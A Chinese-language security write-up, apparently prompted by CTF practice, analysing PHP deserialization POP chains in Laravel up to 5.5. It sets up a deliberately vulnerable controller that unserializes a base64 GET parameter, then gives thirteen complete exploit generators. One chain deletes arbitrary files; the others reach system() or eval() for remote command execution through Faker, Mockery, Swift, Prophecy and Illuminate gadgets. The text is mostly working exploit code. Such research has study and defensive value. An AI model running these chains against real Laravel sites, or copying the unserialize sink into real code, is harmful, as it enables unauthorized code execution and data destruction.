Laravel反序列化漏洞学习及再挖掘

 

前言

做 web 类题目的时候发现 ctfshow 平台中 web 入门题目中有关于PHP 框架漏洞的题目,尝试自己挖掘链子,进一步学习在框架类中反序列化的链子挖掘方式。

 

前置知识

定义

序列化(串行化):是将变量转换为可保存或传输的字符串的过程;
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用;
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性;
常见的php序列化和反序列化方式主要有:serialize,unserialize

常见的魔术方法

__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

寻找方式

寻找反序列化链子的常用思路是全局搜索__destruct()方法、__wakeup()方法或者直接搜索 unserialize()方法

 

漏洞范围

Laravel <= 5.5

 

环境搭建

源码下载

之前进行ThinkPHP6.x代码审计的时候通过composer拉取的源码没法打通挖掘的链子,这里为了避免这个问题,在网上直接找了一份之前的Laravel5.5的源码,下载链接

环境部署

routes/web.php中添加路由

Route::get('/', "DemoController@demo");

app/Http/Controllers目录下添加控制器

<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;
class DemoController extends Controller
{
    public function demo()
    {
        highlight_file(__FILE__);
        if(isset($_GET['data'])){
            $filename = "C:\Tools\phpstudy_pro\WWW\laravel55\public\info.php";
            @unserialize(base64_decode($_GET['data']));
            if(file_exists($filename)){
                echo $filename." is exit!".PHP_EOL;
            }else{
                echo $filename." has been deleted!".PHP_EOL;
            }
        }
    }
}

将源码用小皮面板进行搭建,访问http://127.0.0.1/laravel55/public/index.php,出现如下页面则说明环境部署成功

undefined

 

漏洞分析

POP链-1(任意文件删除漏洞)

跟进Pipes/WindowsPipes.php中的__destruct()方法,发现其调用了一个removeFiles()方法,跟进去后发现是一个简单的任意文件删除漏洞

undefined

exp

<?php
namespace Symfony\Component\Process\Pipes {
    class WindowsPipes {
        private $files = array();
        function __construct() {
            $this->files = array("C:/Tools/phpstudy_pro/WWW/laravel51/public/info.php");
        }
    }
    echo base64_encode(serialize(new WindowsPipes()));
}
?>

POP链-2

跟进src/Illuminate/Broadcasting/PendingBroadcast.php中的__destruct()方法,发现$this->events$this->event都是可控的,因此可以寻找一个__call()方法或者dispatch()方法来进行利用

先用__call()来做突破点,跟进src/Faker/Generator.php中的__call()方法,发现其调用了format()方法,进而调用getFormatter()方法

由于getFormatter()方法中的$this->formatters[$formatter]是可控的并直接 return 回上一层,因此可以利用该可控参数来进行命令执行 RCE 操作

exp

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($events="", $event="") {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Faker {
    class Generator {
        protected $formatters = array();
        function __construct($func="") {
            $this->formatters = ['dispatch' => $func];
        }
    }
}

namespace {
    $demo1 =  new Faker\Generator("system");
    $demo2 = new Illuminate\Broadcasting\PendingBroadcast($demo1, "calc");
    echo base64_encode(serialize($demo2));
}
?>

POP链利用流程图

POP链-3

继续上面寻找可用的__call()方法,跟进src/Illuminate/Validation/Validator.php中的__call()方法,先进行字符串的操作截取$method第八个字符之后的字符,由于传入的字符串是dispatch,正好八个字符所以传入后为空,接着经过 if 逻辑调用callExtension()方法,触发call_user_func_array方法

undefined

exp

<?php
namespace Illuminate\Validation {
    class Validator {
       public $extensions = [];
       public function __construct() {
            $this->extensions = ['' => 'system'];
       }
    }
}

namespace Illuminate\Broadcasting {
    use  Illuminate\Validation\Validator;
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Validator();
            $this->event = $cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast('calc')));
}
?>

POP链利用流程图

POP链-4

跟进src/Illuminate/Support/Manager.php中的__call()方法,其调用driver()方法

跟进createDriver()方法,当$this->customCreators[$driver]存在时调用callCustomCreator()方法,进一步跟进callCustomCreator()方法,发现$this->customCreators[$driver]$this->app)均是可控的,因此可以触发 RCE

exp

<?php
namespace Illuminate\Notifications {
    class ChannelManager {
        protected $app;
        protected $customCreators;
        protected $defaultChannel;
        public function __construct() {
            $this->app = 'calc';
            $this->defaultChannel = 'H3rmesk1t';
            $this->customCreators = ['H3rmesk1t' => 'system'];
        }
    }
}


namespace Illuminate\Broadcasting {
    use  Illuminate\Notifications\ChannelManager;
    class PendingBroadcast {
        protected $events;
        public function __construct()
        {
            $this->events = new ChannelManager();
        }
    }
    echo base64_encode(serialize(new PendingBroadcast()));
}
?>

POP链利用流程图

POP链-5

大致看了一遍__call()方法基本没有利用的地方了(太菜了找不到),开始跟一下dispath()方法

undefined

先跟进src/Illuminate/Events/Dispatcher.php中的dispatch()方法,注意到$listener($event, $payload),尝试以这个为突破口来实现 RCE

看看$listener的值是如何来的,跟进getListeners()方法,这里可以先通过可控变量$this->listeners[$eventName]来控制$listener的值,接着进入数组合并函数,调用getWildcardListeners()方法,跟进去看一下,这里保持默认设置执行完之后会返回$wildcards = [],接着回到数组合并函数合并之后还是$this->listeners[$eventName]的值,接着进入class_exists()函数,这里由于并不会存在一个命令执行函数的类名,因此可以依旧还是返回$this->listeners[$eventName]的值

undefined

控制了$listener的取值之后,将传入的$event的值作为命令执行函数的参数值即可来进行 RCE 操作

exp

<?php
namespace Illuminate\Events {
    class Dispatcher {
        protected $listeners = [];
        public function __construct() {
            $this->listeners = ["calc" => ["system"]];
        }
    }
}



namespace Illuminate\Broadcasting {
    use  Illuminate\Events\Dispatcher;
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = "calc";
        }
    }
    echo base64_encode(serialize(new PendingBroadcast()));
}
?>

POP链利用流程图

undefined

POP链-6

继续跟dispatch()方法,跟进src/Illuminate/Bus/Dispatcher.php中的dispatch()方法,注意到该方法如果 if 语句判断为 true 的话,会进入dispatchToQueue()方法,跟进dispatchToQueue()方法发现call_user_func()方法

undefined

先看看怎么使得进入 if 语句的循环中,首先$this->queueResolver是可控的,跟进commandShouldBeQueued()方法,这里判断$command是否是ShouldQueue的实现,即传入的$command必须是ShouldQueue接口的一个实现,而且$command类中包含connection属性

这里找到两个符合条件的类src/Illuminate/Notifications/SendQueuedNotifications.php中的SendQueuedNotifications类和src/Illuminate/Broadcasting/BroadcastEvent.php中的BroadcastEvent类,当类是 use 了 trait 类,同样可以访问其属性,这里跟进src/Illuminate/Bus/Queueable.php

undefined

undefined

undefined

exp

<?php
namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting {
    use  Illuminate\Bus\Dispatcher;
    class BroadcastEvent {
        public $connection;
        public $event;
        public function __construct() {
            $this->event = "calc";
            $this->connection = $this->event;
        }
    }
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = new BroadcastEvent();
        }
    }
    echo base64_encode(serialize(new PendingBroadcast()));
}
?>

POP链利用流程图

undefined

POP链-7

继续接着上一条链子的call_user_func()方法往后,由于这里变量是可控的,因此可以调用任意类的方法,跟进library/Mockery/Loader/EvalLoader.php中的load()方法,这里如果不进入 if 循环从而触发到getCode()方法即可造成任意代码执行漏洞

undefined

看看 if 循环的判断条件,一路跟进调用,由于最后的$this->name是可控的,因此只需要给它赋一个不存在的类名值即可,可利用的getName()方法比较多,选一个能用的就行

undefined

undefined

exp-1

<?php
namespace Mockery\Generator {
    class MockConfiguration {
        protected $name = 'H3rmesk1t';
    }
    class MockDefinition {
        protected $config;
        protected $code;
        public function __construct() {
            $this->config = new MockConfiguration();
            $this->code = "<?php system('calc');?>";
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}

namespace Illuminate\Bus {
    use Mockery\Loader\EvalLoader;
    class Dispatcher {
        protected $queueResolver;
        public function __construct() {
            $this->queueResolver = [new EvalLoader(), 'load'];
        }
    }
}

namespace Illuminate\Broadcasting {
    use Illuminate\Bus\Dispatcher;
    use Mockery\Generator\MockDefinition;
    class BroadcastEvent {
        public $connection;
        public function __construct() {
            $this->connection = new MockDefinition();
        }
    }
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = new BroadcastEvent();
        }
    }
    echo base64_encode(serialize(new PendingBroadcast()));
}
?>

exp-2

<?php
namespace Symfony\Component\HttpFoundation {
    class Cookie {
        protected $name = "H3rmesk1t";
    }
}

namespace Mockery\Generator {
    use Symfony\Component\HttpFoundation\Cookie;
    class MockDefinition {
        protected $config;
        protected $code;
        public function __construct($code) {
            $this->config = new Cookie();
            $this->code = $code;
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}

namespace Illuminate\Bus {
    use Mockery\Loader\EvalLoader;
    class Dispatcher {
        protected $queueResolver;
        public function __construct() {
            $this->queueResolver = [new EvalLoader(), 'load'];
        }
    }
}

namespace Illuminate\Broadcasting {
    use Illuminate\Bus\Dispatcher;
    use Mockery\Generator\MockDefinition;
    class BroadcastEvent {
        public $connection;
        public function __construct() {
            $this->connection = new MockDefinition("<?php system('calc');?>");
        }
    }
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = new BroadcastEvent();
        }
    }
    echo base64_encode(serialize(new PendingBroadcast()));
}
?>

POP链利用流程图

undefined

POP链-8

跟进lib/classes/Swift/KeyCache/DiskKeyCache.php中的__destruct()方法,这里的$this->_keys是可控的

undefined

继续看看 foreach 中调用的clearAll()方法,当array_key_exists()判断为 true 时进入 foreach,接着调用clearKey()方法,进入 if 判断后调用hasKey()方法,由于这里的$this->_path是可控的,因此可以给其赋值为一个类名从而触发该类中的__toString()方法

undefined

这里可以选择library/Mockery/Generator/DefinedTargetClass.php中的__toString()方法作为触发的点,其先会调用getName()方法,且该方法中的$this->rfc是可控的,因此可以来触发一个没有getName()方法的类从而来触发该类中的__call()方法

undefined

全局搜索__call()方法,跟进src/Faker/ValidGenerator.php中的__call()方法,其 while 语句内的$this->validator是可控的,当$res能够是命令执行函数的参数时即可触发命令执行 RCE,由于$this->generator也是可控的,因此可以寻找一个能够有返回参数值的方法类来达到返回命令执行函数参数的目的从而 RCE

undefined

这里可以用src/Faker/DefaultGenerator.php来做触发点,当前面设置的方法不存在时这里就会触发到__call()方法,从而返回可控参数$this->default的值

undefined

exp

<?php 
namespace Faker {
    class DefaultGenerator {
        protected $default;
        public function __construct($payload) {
            $this->default = $payload;
        }
    }
    class ValidGenerator {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($payload) {
            $this->generator = new DefaultGenerator($payload);
            $this->validator = "system";
            $this->maxRetries = 1; // 不设置值的话默认是重复10000次
        }
    }
}

namespace Mockery\Generator {
    use Faker\ValidGenerator;
    class DefinedTargetClass {
        private $rfc;
        public function __construct($payload) {
            $this->rfc = new ValidGenerator($payload);
        }
    }
}

namespace {
    use Mockery\Generator\DefinedTargetClass;
    class Swift_KeyCache_DiskKeyCache {
        private $path;
        private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
        public function __construct($payload) {
            $this->path = new DefinedTargetClass($payload);
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>

POP链利用流程图

undefined

POP链-9

起始点和终点的利用链和POP链-8一样,将__toString()的触发点变一下,跟进lib/classes/Swift/Mime/SimpleMimeEntity.php中的__toString()方法,其调用了toString()方法,由于$this->_headers是可控的,因此可以接上上一条链子的__call()方法利用进行 RCE 操作

undefined

exp

<?php 
namespace Faker {
    class DefaultGenerator {
        protected $default;
        public function __construct($payload) {
            $this->default = $payload;
        }
    }
    class ValidGenerator {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($payload) {
            $this->generator = new DefaultGenerator($payload);
            $this->validator = "system";
            $this->maxRetries = 1; // 不设置值的话默认是重复10000次
        }
    }
}

namespace {
    use Faker\ValidGenerator;
    class Swift_Mime_SimpleMimeEntity {
        private $headers;
        public function __construct($payload) {
            $this->headers = new ValidGenerator($payload);
        }
    }
    class Swift_KeyCache_DiskKeyCache {
        private $path;
        private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
        public function __construct($payload) {
            $this->path = new Swift_Mime_SimpleMimeEntity($payload);
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>

POP链利用流程图

undefined

POP链-10

起始点和POP链-8一样,从__toString()开始,跟进src/Prophecy/Argument/Token/ObjectStateToken.php中的__toString()方法,这里$this->util$this->value均可控

undefined

接着后面利用POP链-2后半段的__call()触发方法即可进行命令执行操作从而达到 RCE

exp

<?php 
namespace Faker {
    class Generator {
        protected $formatters = array();
        function __construct() {
            $this->formatters = ['stringify' => "system"];
        }
    }
}

namespace Prophecy\Argument\Token {
    use Faker\Generator;
    class ObjectStateToken {
        private $name;
        private $value;
        private $util;
        public function __construct($payload) {
            $this->name = "H3rmesk1t";
            $this->util = new Generator();;
            $this->value = $payload;
        }
    }
}

namespace {
    use Prophecy\Argument\Token\ObjectStateToken;
    class Swift_KeyCache_DiskKeyCache {
        private $path;
        private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
        public function __construct($payload) {
            $this->path = new ObjectStateToken($payload);
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>

POP链利用流程图

undefined

POP链-11

起始点和终点的利用链和POP链-10一样,将__toString()的触发点变一下,跟进src/Prophecy/Argument/Token/IdenticalValueToken.php中的__toString()方法,这里$this->string$this->util$this->value均可控

undefined

exp

<?php 
namespace Faker {
    class Generator {
        protected $formatters = array();
        function __construct() {
            $this->formatters = ['stringify' => "system"];
        }
    }
}

namespace Prophecy\Argument\Token {
    use Faker\Generator;
    class IdenticalValueToken {
        private $string;
        private $value;
        private $util;
        public function __construct($payload) {
            $this->name = null;
            $this->util = new Generator();;
            $this->value = $payload;
        }
    }
}

namespace {
    use Prophecy\Argument\Token\IdenticalValueToken;
    class Swift_KeyCache_DiskKeyCache {
        private $path;
        private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
        public function __construct($payload) {
            $this->path = new IdenticalValueToken($payload);
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>

POP链利用流程图

undefined

POP链-12

起始点和终点的利用链和POP链-10一样,将__toString()的触发点变一下,跟进src/Prophecy/Argument/Token/ExactValueToken.php中的__toString()方法,这里$this->string$this->util$this->value均可控

undefined

exp

<?php 
namespace Faker {
    class Generator {
        protected $formatters = array();
        function __construct() {
            $this->formatters = ['stringify' => "system"];
        }
    }
}

namespace Prophecy\Argument\Token {
    use Faker\Generator;
    class ExactValueToken {
        private $string;
        private $value;
        private $util;
        public function __construct($payload) {
            $this->name = null;
            $this->util = new Generator();;
            $this->value = $payload;
        }
    }
}

namespace {
    use Prophecy\Argument\Token\ExactValueToken;
    class Swift_KeyCache_DiskKeyCache {
        private $path;
        private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
        public function __construct($payload) {
            $this->path = new ExactValueToken($payload);
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>

POP链利用流程图

undefined

POP链-13

前半段链子和之前的其它链子一样都行,只要能触发到__call()方法),接着跟进src/Illuminate/Database/DatabaseManager.php中的__call()方法,其调用了connection()方法,跟进去,这里要让其进入makeConnection()方法从而来利用call_user_func()方法来进行 RCE

undefined

undefined

跟进getConfig()方法,继续跟进Arr::get($connections, $name),可以看到经过get()方法返回回来的$config的值是可控的,可以将命令执行函数返回回来,从而导致 RCE

undefined

undefined

exp

<?php 
namespace Illuminate\Database{
    class DatabaseManager{
        protected $app;
        protected $extensions ;
        public function __construct($payload)
        {
            $this->app['config']['database.default'] = $payload;
            $this->app['config']['database.connections'] = [$payload => 'system'];
            $this->extensions[$payload]='call_user_func';
        }
    }
}

namespace Mockery\Generator {
    use Illuminate\Database\DatabaseManager;
    class DefinedTargetClass {
        private $rfc;
        public function __construct($payload) {
            $this->rfc = new DatabaseManager($payload);
        }
    }
}

namespace {
    use Mockery\Generator\DefinedTargetClass;
    class Swift_KeyCache_DiskKeyCache {
        private $path;
        private $keys = ['H3rmesk1t' => ['H3rmesk1t' => 'H3rmesk1t']];
        public function __construct($payload) {
            $this->path = new DefinedTargetClass($payload);
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc")));
}
?>

POP链利用流程图

undefined

(完)